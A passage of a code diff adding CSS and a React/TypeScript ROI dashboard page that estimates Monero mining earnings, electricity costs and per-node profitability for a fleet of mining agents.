overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-platform {
|
||||||
|
font-size: 0.75rem;
|
||||||
|
margin-right: 0.3rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-hr {
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
color: #00e8f5;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-usd {
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-weight: 700;
|
||||||
|
color: #39ff14;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-eff {
|
||||||
|
font-size: 0.65rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-bar-wrap {
|
||||||
|
width: 60px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-bar-track {
|
||||||
|
height: 4px;
|
||||||
|
background: rgba(255,255,255,0.08);
|
||||||
|
border-radius: 2px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-bar-fill {
|
||||||
|
height: 100%;
|
||||||
|
border-radius: 2px;
|
||||||
|
background: linear-gradient(90deg, #ffb020, #ff6b35);
|
||||||
|
transition: width 0.5s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-offline {
|
||||||
|
opacity: 0.35;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Earnings projection panel ─────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-projection-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 1fr 1fr;
|
||||||
|
gap: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-proj-item {
|
||||||
|
background: rgba(255,255,255,0.03);
|
||||||
|
border: 1px solid rgba(255,255,255,0.06);
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 0.75rem 0.9rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-proj-label {
|
||||||
|
font-size: 0.58rem;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
margin-bottom: 0.3rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-proj-value {
|
||||||
|
font-size: 1.1rem;
|
||||||
|
font-weight: 700;
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-proj-value.green { color: #39ff14; }
|
||||||
|
.roi-proj-value.amber { color: #ffb020; }
|
||||||
|
.roi-proj-value.cyan { color: #00e8f5; }
|
||||||
|
.roi-proj-value.magenta { color: #ff2da6; }
|
||||||
|
|
||||||
|
/* ── Hashrate spark bar ─────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-spark {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-end;
|
||||||
|
gap: 2px;
|
||||||
|
height: 40px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-spark-bar {
|
||||||
|
flex: 1;
|
||||||
|
border-radius: 2px 2px 0 0;
|
||||||
|
background: linear-gradient(180deg, #ffb020, #ff6b3580);
|
||||||
|
transition: height 0.3s ease;
|
||||||
|
min-height: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Electricity cost input ─────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-cost-row {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.75rem;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-cost-label {
|
||||||
|
font-size: 0.68rem;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-cost-input-wrap {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.3rem;
|
||||||
|
background: rgba(255,255,255,0.05);
|
||||||
|
border: 1px solid rgba(255,255,255,0.12);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 0.25rem 0.6rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-cost-input-wrap input {
|
||||||
|
background: none;
|
||||||
|
border: none;
|
||||||
|
outline: none;
|
||||||
|
color: #fff;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
width: 60px;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-cost-unit {
|
||||||
|
font-size: 0.68rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-net-banner {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
background: rgba(57, 255, 20, 0.06);
|
||||||
|
border: 1px solid rgba(57, 255, 20, 0.2);
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 0.75rem 1rem;
|
||||||
|
margin-top: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-net-label {
|
||||||
|
font-size: 0.65rem;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
color: #39ff14;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-net-value {
|
||||||
|
font-size: 1.3rem;
|
||||||
|
font-weight: 800;
|
||||||
|
color: #39ff14;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-net-value.negative { color: #ff4444; }
|
||||||
|
|
||||||
|
/* ── Platform breakdown ─────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-platform-list {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.65rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-platform-row {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-platform-icon {
|
||||||
|
font-size: 1.1rem;
|
||||||
|
width: 24px;
|
||||||
|
text-align: center;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-platform-label {
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: #c8d8e8;
|
||||||
|
min-width: 60px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-platform-bar-wrap {
|
||||||
|
flex: 1;
|
||||||
|
height: 6px;
|
||||||
|
background: rgba(255,255,255,0.08);
|
||||||
|
border-radius: 3px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-platform-bar-fill {
|
||||||
|
height: 100%;
|
||||||
|
border-radius: 3px;
|
||||||
|
transition: width 0.5s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-platform-val {
|
||||||
|
font-size: 0.68rem;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
color: var(--text-muted);
|
||||||
|
min-width: 52px;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Mining method breakdown ─────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-method-chips {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-method-chip {
|
||||||
|
padding: 0.3rem 0.7rem;
|
||||||
|
border-radius: 20px;
|
||||||
|
font-size: 0.65rem;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
border: 1px solid;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-method-chip.docker { background: rgba(0,232,245,0.1); color: #00e8f5; border-color: rgba(0,232,245,0.3); }
|
||||||
|
.roi-method-chip.inprocess{ background: rgba(57,255,20,0.1); color: #39ff14; border-color: rgba(57,255,20,0.3); }
|
||||||
|
.roi-method-chip.subprocess{background: rgba(255,176,32,0.1); color: #ffb020; border-color: rgba(255,176,32,0.3);}
|
||||||
|
.roi-method-chip.gpu { background: rgba(178,75,243,0.1); color: #b24bf3; border-color: rgba(178,75,243,0.3); }
|
||||||
|
.roi-method-chip.unknown { background: rgba(255,255,255,0.05);color: #8899aa; border-color: rgba(255,255,255,0.1); }
|
||||||
|
|
||||||
|
/* ── Empty state ─────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-empty {
|
||||||
|
text-align: center;
|
||||||
|
padding: 3rem 1rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.82rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-empty-icon {
|
||||||
|
font-size: 2.5rem;
|
||||||
|
display: block;
|
||||||
|
margin-bottom: 0.75rem;
|
||||||
|
opacity: 0.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Loading spinner ─────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-loading {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-spinner {
|
||||||
|
width: 14px;
|
||||||
|
height: 14px;
|
||||||
|
border: 2px solid rgba(255,176,32,0.2);
|
||||||
|
border-top-color: #ffb020;
|
||||||
|
border-radius: 50%;
|
||||||
|
animation: roi-spin 0.7s linear infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes roi-spin {
|
||||||
|
to { transform: rotate(360deg); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Efficiency badge ─────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-eff-badge {
|
||||||
|
display: inline-block;
|
||||||
|
padding: 0.1rem 0.4rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 0.6rem;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-eff-badge.top { background: rgba(57,255,20,0.15); color: #39ff14; }
|
||||||
|
.roi-eff-badge.mid { background: rgba(255,176,32,0.15); color: #ffb020; }
|
||||||
|
.roi-eff-badge.low { background: rgba(255,68,68,0.12); color: #ff6b6b; }
|
||||||
|
.roi-eff-badge.off { background: rgba(255,255,255,0.06); color: #8899aa; }
|
||||||
|
|
||||||
|
/* ── Full-width section ──────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-full {
|
||||||
|
margin-bottom: 1.25rem;
|
||||||
|
}
|
||||||
432
server/web/src/pages/ROIPage.tsx
Normal file
432
server/web/src/pages/ROIPage.tsx
Normal file
@@ -0,0 +1,432 @@
|
|||||||
|
import { useState, useEffect, useMemo } from 'react';
|
||||||
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
|
import { api } from '../api/client';
|
||||||
|
import { formatHashrate } from '../help/fleetFilters';
|
||||||
|
import './ROIPage.css';
|
||||||
|
|
||||||
|
// ── helpers ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function fmt(n: number, decimals = 2) {
|
||||||
|
return n.toFixed(decimals);
|
||||||
|
}
|
||||||
|
|
||||||
|
function fmtUSD(n: number): string {
|
||||||
|
if (n >= 1000) return `$${(n / 1000).toFixed(2)}k`;
|
||||||
|
return `$${n.toFixed(2)}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function platformIcon(platform?: string): string {
|
||||||
|
const p = (platform ?? '').toLowerCase();
|
||||||
|
if (p.includes('win')) return '⊞';
|
||||||
|
if (p.includes('linux')) return '🐧';
|
||||||
|
if (p.includes('darwin')) return '';
|
||||||
|
return '⬡';
|
||||||
|
}
|
||||||
|
|
||||||
|
function effBadge(pct: number): { label: string; cls: string } {
|
||||||
|
if (pct >= 75) return { label: 'TOP', cls: 'top' };
|
||||||
|
if (pct >= 40) return { label: 'MID', cls: 'mid' };
|
||||||
|
if (pct > 0) return { label: 'LOW', cls: 'low' };
|
||||||
|
return { label: 'OFF', cls: 'off' };
|
||||||
|
}
|
||||||
|
|
||||||
|
const WATT_PER_CORE_ESTIMATE = 15; // rough W per active CPU core
|
||||||
|
const XMR_COINGECKO_FALLBACK = 150; // offline fallback price USD
|
||||||
|
|
||||||
|
// ── ROI Page ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export default function ROIPage() {
|
||||||
|
const { agents } = useWebSocket();
|
||||||
|
|
||||||
|
const [xmrPrice, setXmrPrice] = useState<number | null>(null);
|
||||||
|
const [xmrPriceAt, setXmrPriceAt] = useState<string | null>(null);
|
||||||
|
const [priceLoading, setPriceLoading] = useState(true);
|
||||||
|
const [estXmrDay, setEstXmrDay] = useState<number | null>(null);
|
||||||
|
const [kwh, setKwh] = useState<number>(() => {
|
||||||
|
try { return parseFloat(localStorage.getItem('roi-kwh') ?? '0.10'); } catch { return 0.10; }
|
||||||
|
});
|
||||||
|
const [sparkData, setSparkData] = useState<number[]>([]);
|
||||||
|
|
||||||
|
// Fetch XMR price on mount, refresh every 10min
|
||||||
|
useEffect(() => {
|
||||||
|
const fetch = () => {
|
||||||
|
setPriceLoading(true);
|
||||||
|
api.getXmrPrice()
|
||||||
|
.then((r) => { setXmrPrice(r.usd); setXmrPriceAt(r.fetched_at); })
|
||||||
|
.catch(() => setXmrPrice(XMR_COINGECKO_FALLBACK))
|
||||||
|
.finally(() => setPriceLoading(false));
|
||||||
|
};
|
||||||
|
fetch();
|
||||||
|
const t = setInterval(fetch, 10 * 60 * 1000);
|
||||||
|
return () => clearInterval(t);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// Earnings estimate from fleet hashrate
|
||||||
|
const onlineAgents = useMemo(() => agents.filter((a) => a.status === 'online'), [agents]);
|
||||||
|
const totalHashrate = useMemo(() => onlineAgents.reduce((s, a) => s + (a.hashrate_15m ?? 0), 0), [onlineAgents]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (totalHashrate <= 0) { setEstXmrDay(null); return; }
|
||||||
|
api.getEarningsEstimate(totalHashrate)
|
||||||
|
.then((r) => setEstXmrDay(r.xmr_per_day ?? null))
|
||||||
|
.catch(() => setEstXmrDay(null));
|
||||||
|
}, [totalHashrate]);
|
||||||
|
|
||||||
|
// Spark history — sample every 4s
|
||||||
|
useEffect(() => {
|
||||||
|
const id = setInterval(() => {
|
||||||
|
setSparkData((prev) => [...prev.slice(-29), totalHashrate]);
|
||||||
|
}, 4000);
|
||||||
|
return () => clearInterval(id);
|
||||||
|
}, [totalHashrate]);
|
||||||
|
|
||||||
|
// Save kWh preference
|
||||||
|
const handleKwh = (v: number) => {
|
||||||
|
setKwh(v);
|
||||||
|
try { localStorage.setItem('roi-kwh', String(v)); } catch { /* noop */ }
|
||||||
|
};
|
||||||
|
|
||||||
|
// ── Derived numbers ──────────────────────────────────────────────────────
|
||||||
|
const price = xmrPrice ?? XMR_COINGECKO_FALLBACK;
|
||||||
|
|
||||||
|
const xmrPerDay = estXmrDay ?? 0;
|
||||||
|
const usdPerDay = xmrPerDay * price;
|
||||||
|
const usdPerWeek = usdPerDay * 7;
|
||||||
|
const usdPerMonth = usdPerDay * 30;
|
||||||
|
|
||||||
|
// Electricity cost estimate
|
||||||
|
const totalCores = onlineAgents.reduce((s, a) => s + (a.cpu_cores ?? 0), 0);
|
||||||
|
const estimatedWatts = totalCores * WATT_PER_CORE_ESTIMATE;
|
||||||
|
const kwhPerDay = (estimatedWatts / 1000) * 24;
|
||||||
|
const electricityCostDay = kwhPerDay * kwh;
|
||||||
|
const netProfitDay = usdPerDay - electricityCostDay;
|
||||||
|
|
||||||
|
// Per-node profitability — sorted by USD/day desc
|
||||||
|
const nodeProfit = useMemo(() => {
|
||||||
|
const maxHash = Math.max(...agents.map((a) => a.hashrate_15m ?? 0), 1);
|
||||||
|
return agents
|
||||||
|
.map((a) => {
|
||||||
|
const hr = a.hashrate_15m ?? 0;
|
||||||
|
const pct = hr / maxHash;
|
||||||
|
// Linear interpolation of fleet earnings by hashrate share
|
||||||
|
const nodeXmrDay = xmrPerDay > 0 && totalHashrate > 0
|
||||||
|
? (hr / totalHashrate) * xmrPerDay
|
||||||
|
: 0;
|
||||||
|
const nodeUsdDay = nodeXmrDay * price;
|
||||||
|
const nodeCores = a.cpu_cores ?? 0;
|
||||||
|
const nodeWatts = nodeCores * WATT_PER_CORE_ESTIMATE;
|
||||||
|
const nodeKwhDay = (nodeWatts / 1000) * 24;
|
||||||
|
const nodeElecCost = nodeKwhDay * kwh;
|
||||||
|
const nodeNet = nodeUsdDay - nodeElecCost;
|
||||||
|
return { a, hr, pct, nodeUsdDay, nodeXmrDay, nodeNet };
|
||||||
|
})
|
||||||
|
.sort((x, y) => y.nodeUsdDay - x.nodeUsdDay);
|
||||||
|
}, [agents, xmrPerDay, totalHashrate, price, kwh]);
|
||||||
|
|
||||||
|
// Platform breakdown
|
||||||
|
const platformStats = useMemo(() => {
|
||||||
|
const byPlatform: Record<string, { count: number; hashrate: number }> = {};
|
||||||
|
for (const a of onlineAgents) {
|
||||||
|
const p = a.platform ?? 'unknown';
|
||||||
|
if (!byPlatform[p]) byPlatform[p] = { count: 0, hashrate: 0 };
|
||||||
|
byPlatform[p].count++;
|
||||||
|
byPlatform[p].hashrate += a.hashrate_15m ?? 0;
|
||||||
|
}
|
||||||
|
const maxHr = Math.max(...Object.values(byPlatform).map((v) => v.hashrate), 1);
|
||||||
|
return Object.entries(byPlatform)
|
||||||
|
.sort((a, b) => b[1].hashrate - a[1].hashrate)
|
||||||
|
.map(([platform, stats]) => ({ platform, ...stats, pct: stats.hashrate / maxHr }));
|
||||||
|
}, [onlineAgents]);
|
||||||
|
|
||||||
|
// Mining method breakdown
|
||||||
|
const methodStats = useMemo(() => {
|
||||||
|
const counts: Record<string, number> = {};
|
||||||
|
for (const a of onlineAgents) {
|
||||||
|
const m = a.active_method ?? 'unknown';
|
||||||
|
counts[m] = (counts[m] ?? 0) + 1;
|
||||||
|
}
|
||||||
|
return Object.entries(counts).sort((a, b) => b[1] - a[1]);
|
||||||
|
}, [onlineAgents]);
|
||||||
|
|
||||||
|
const maxSparkVal = Math.max(...sparkData, 1);
|
||||||
|
|
||||||
|
// ── Empty state ──────────────────────────────────────────────────────────
|
||||||
|
if (agents.length === 0) {
|
||||||
|
return (
|
||||||
|
<div className="page fade-in roi-page">
|
||||||
|
<div className="roi-empty">
|
||||||
|
<span className="roi-empty-icon">💹</span>
|
||||||
|
No nodes online. Deploy agents to start tracking ROI.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Render ───────────────────────────────────────────────────────────────
|
||||||
|
return (
|
||||||
|
<div className="page fade-in roi-page">
|
||||||
|
|
||||||
|
{/* ── Hero ─────────────────────────────────────────────────────────── */}
|
||||||
|
<header className="roi-hero">
|
||||||
|
<div className="roi-hero-text">
|
||||||
|
<p className="roi-eyebrow">FINANCIAL INTELLIGENCE</p>
|
||||||
|
<h1>ROI Dashboard</h1>
|
||||||
|
<p className="page-subtitle">
|
||||||
|
Live earnings · per-node profitability · net profit after electricity
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="roi-price-ticker">
|
||||||
|
<div className="roi-price-dot" />
|
||||||
|
<span className="roi-price-symbol">XMR</span>
|
||||||
|
{priceLoading ? (
|
||||||
|
<div className="roi-loading">
|
||||||
|
<div className="roi-spinner" />
|
||||||
|
<span>fetching…</span>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<span className="roi-price-usd">${xmrPrice?.toFixed(2) ?? '—'}</span>
|
||||||
|
<span className="roi-price-label">
|
||||||
|
USD{xmrPriceAt ? ` · ${new Date(xmrPriceAt).toLocaleTimeString()}` : ''}
|
||||||
|
</span>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
{/* ── KPI Row ──────────────────────────────────────────────────────── */}
|
||||||
|
<div className="roi-kpi-row">
|
||||||
|
<div className="roi-kpi-card amber">
|
||||||
|
<div className="roi-kpi-accent" />
|
||||||
|
<div className="roi-kpi-label">XMR / DAY</div>
|
||||||
|
<div className="roi-kpi-value">{xmrPerDay > 0 ? fmt(xmrPerDay, 6) : '—'}</div>
|
||||||
|
<div className="roi-kpi-sub">at {formatHashrate(totalHashrate)}</div>
|
||||||
|
</div>
|
||||||
|
<div className="roi-kpi-card green">
|
||||||
|
<div className="roi-kpi-accent" />
|
||||||
|
<div className="roi-kpi-label">USD / DAY</div>
|
||||||
|
<div className="roi-kpi-value">{usdPerDay > 0 ? fmtUSD(usdPerDay) : '—'}</div>
|
||||||
|
<div className="roi-kpi-sub">gross revenue</div>
|
||||||
|
</div>
|
||||||
|
<div className="roi-kpi-card cyan">
|
||||||
|
<div className="roi-kpi-accent" />
|
||||||
|
<div className="roi-kpi-label">USD / MONTH</div>
|
||||||
|
<div className="roi-kpi-value">{usdPerMonth > 0 ? fmtUSD(usdPerMonth) : '—'}</div>
|
||||||
|
<div className="roi-kpi-sub">30-day projection</div>
|
||||||
|
</div>
|
||||||
|
<div className="roi-kpi-card magenta">
|
||||||
|
<div className="roi-kpi-accent" />
|
||||||
|
<div className="roi-kpi-label">NET PROFIT / DAY</div>
|
||||||
|
<div className={`roi-kpi-value ${netProfitDay < 0 ? '' : ''}`}>
|
||||||
|
{usdPerDay > 0 ? fmtUSD(netProfitDay) : '—'}
|
||||||
|
</div>
|
||||||
|
<div className="roi-kpi-sub">after electricity est.</div>
|
||||||
|
</div>
|
||||||
|
<div className="roi-kpi-card violet">
|
||||||
|
<div className="roi-kpi-accent" />
|
||||||
|
<div className="roi-kpi-label">ONLINE NODES</div>
|
||||||
|
<div className="roi-kpi-value">{onlineAgents.length}</div>
|
||||||
|
<div className="roi-kpi-sub">of {agents.length} total</div>
|
||||||
|
</div>
|
||||||
|
<div className="roi-kpi-card orange">
|
||||||
|
<div className="roi-kpi-accent" />
|
||||||
|
<div className="roi-kpi-label">EST. POWER DRAW</div>
|
||||||
|
<div className="roi-kpi-value">{estimatedWatts > 0 ? `${estimatedWatts}W` : '—'}</div>
|
||||||
|
<div className="roi-kpi-sub">{totalCores} cores × {WATT_PER_CORE_ESTIMATE}W est.</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* ── Main grid row 1 ──────────────────────────────────────────────── */}
|
||||||
|
<div className="roi-grid">
|
||||||
|
|
||||||
|
{/* Hashrate sparkline + projections */}
|
||||||
|
<div className="roi-section">
|
||||||
|
<div className="roi-section-title">
|
||||||
|
<span className="roi-section-ornament">◆</span> EARNINGS PROJECTION
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Spark */}
|
||||||
|
{sparkData.length > 1 && (
|
||||||
|
<div className="roi-spark" style={{ marginBottom: '1rem' }}>
|
||||||
|
{sparkData.map((v, i) => (
|
||||||
|
<div
|
||||||
|
key={i}
|
||||||
|
className="roi-spark-bar"
|
||||||
|
style={{ height: `${Math.max(4, (v / maxSparkVal) * 100)}%` }}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div className="roi-projection-grid">
|
||||||
|
<div className="roi-proj-item">
|
||||||
|
<div className="roi-proj-label">TODAY</div>
|
||||||
|
<div className="roi-proj-value green">{usdPerDay > 0 ? fmtUSD(usdPerDay) : '—'}</div>
|
||||||
|
</div>
|
||||||
|
<div className="roi-proj-item">
|
||||||
|
<div className="roi-proj-label">THIS WEEK</div>
|
||||||
|
<div className="roi-proj-value amber">{usdPerWeek > 0 ? fmtUSD(usdPerWeek) : '—'}</div>
|
||||||
|
</div>
|
||||||
|
<div className="roi-proj-item">
|
||||||
|
<div className="roi-proj-label">THIS MONTH</div>
|
||||||
|
<div className="roi-proj-value cyan">{usdPerMonth > 0 ? fmtUSD(usdPerMonth) : '—'}</div>
|
||||||
|
</div>
|
||||||
|
<div className="roi-proj-item">
|
||||||
|
<div className="roi-proj-label">THIS YEAR</div>
|
||||||
|
<div className="roi-proj-value magenta">{usdPerDay > 0 ? fmtUSD(usdPerDay * 365) : '—'}</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Net profit calculator */}
|
||||||
|
<div style={{ marginTop: '1.25rem', borderTop: '1px solid rgba(255,255,255,0.06)', paddingTop: '1rem' }}>
|
||||||
|
<div className="roi-cost-row">
|
||||||
|
<span className="roi-cost-label">ELECTRICITY RATE</span>
|
||||||
|
<div className="roi-cost-input-wrap">
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
min={0}
|
||||||
|
max={10}
|
||||||
|
step={0.01}
|
||||||
|
value={kwh}
|
||||||
|
onChange={(e) => handleKwh(parseFloat(e.target.value) || 0)}
|
||||||
|
/>
|
||||||
|
<span className="roi-cost-unit">$/kWh</span>
|
||||||
|
</div>
|
||||||
|
<span className="roi-cost-label" style={{ color: 'var(--text-muted)' }}>
|
||||||
|
≈ {kwhPerDay.toFixed(1)} kWh/day · {fmtUSD(electricityCostDay)}/day cost
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<div className="roi-net-banner">
|
||||||
|
<span className="roi-net-label">NET DAILY PROFIT</span>
|
||||||
|
<span className={`roi-net-value ${netProfitDay < 0 ? 'negative' : ''}`}>
|
||||||
|
{usdPerDay > 0 ? fmtUSD(netProfitDay) : '—'}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Platform breakdown */}
|
||||||
|
<div className="roi-section">
|
||||||
|
<div className="roi-section-title">
|
||||||
|
<span className="roi-section-ornament">◆</span> PLATFORM BREAKDOWN
|
||||||
|
</div>
|
||||||
|
{platformStats.length === 0 ? (
|
||||||
|
<p style={{ color: 'var(--text-muted)', fontSize: '0.8rem' }}>No online agents.</p>
|
||||||
|
) : (
|
||||||
|
<div className="roi-platform-list">
|
||||||
|
{platformStats.map(({ platform, count, hashrate, pct }) => {
|
||||||
|
const colors: Record<string, string> = {
|
||||||
|
windows: '#00e8f5', linux: '#39ff14', darwin: '#b24bf3',
|
||||||
|
};
|
||||||
|
const color = colors[platform.toLowerCase()] ?? '#ffb020';
|
||||||
|
return (
|
||||||
|
<div key={platform} className="roi-platform-row">
|
||||||
|
<span className="roi-platform-icon">{platformIcon(platform)}</span>
|
||||||
|
<span className="roi-platform-label">{platform}</span>
|
||||||
|
<div className="roi-platform-bar-wrap">
|
||||||
|
<div className="roi-platform-bar-track">
|
||||||
|
<div
|
||||||
|
className="roi-platform-bar-fill"
|
||||||
|
style={{ width: `${pct * 100}%`, background: color }}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<span className="roi-platform-val">
|
||||||
|
{count}n · {formatHashrate(hashrate)}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Mining method chips */}
|
||||||
|
{methodStats.length > 0 && (
|
||||||
|
<>
|
||||||
|
<div className="roi-section-title" style={{ marginTop: '1.25rem', marginBottom: '0.75rem' }}>
|
||||||
|
<span className="roi-section-ornament">◆</span> ACTIVE MINING METHODS
|
||||||
|
</div>
|
||||||
|
<div className="roi-method-chips">
|
||||||
|
{methodStats.map(([method, count]) => (
|
||||||
|
<span key={method} className={`roi-method-chip ${method.toLowerCase().replace(/[^a-z]/g, '') || 'unknown'}`}>
|
||||||
|
{method} · {count}
|
||||||
|
</span>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* ── Node profitability table (full width) ────────────────────────── */}
|
||||||
|
<div className="roi-full">
|
||||||
|
<div className="roi-section">
|
||||||
|
<div className="roi-section-title">
|
||||||
|
<span className="roi-section-ornament">◆</span>
|
||||||
|
NODE PROFITABILITY RANKING
|
||||||
|
<span style={{ marginLeft: 'auto', color: 'var(--text-muted)', fontSize: '0.6rem' }}>
|
||||||
|
sorted by USD/day
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<table className="roi-node-table">
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th>#</th>
|
||||||
|
<th>NODE</th>
|
||||||
|
<th>PLATFORM</th>
|
||||||
|
<th>HASHRATE</th>
|
||||||
|
<th>XMR/DAY</th>
|
||||||
|
<th>USD/DAY</th>
|
||||||
|
<th>NET/DAY</th>
|
||||||
|
<th>SHARE</th>
|
||||||
|
<th>EFF</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
{nodeProfit.slice(0, 25).map(({ a, hr, pct, nodeUsdDay, nodeXmrDay, nodeNet }, idx) => {
|
||||||
|
const isOffline = a.status !== 'online';
|
||||||
|
const badge = effBadge(pct * 100);
|
||||||
|
return (
|
||||||
|
<tr key={a.id} className={isOffline ? 'roi-node-offline' : ''}>
|
||||||
|
<td className="roi-node-rank">{idx + 1}</td>
|
||||||
|
<td className="roi-node-name">
|
||||||
|
{a.name}
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
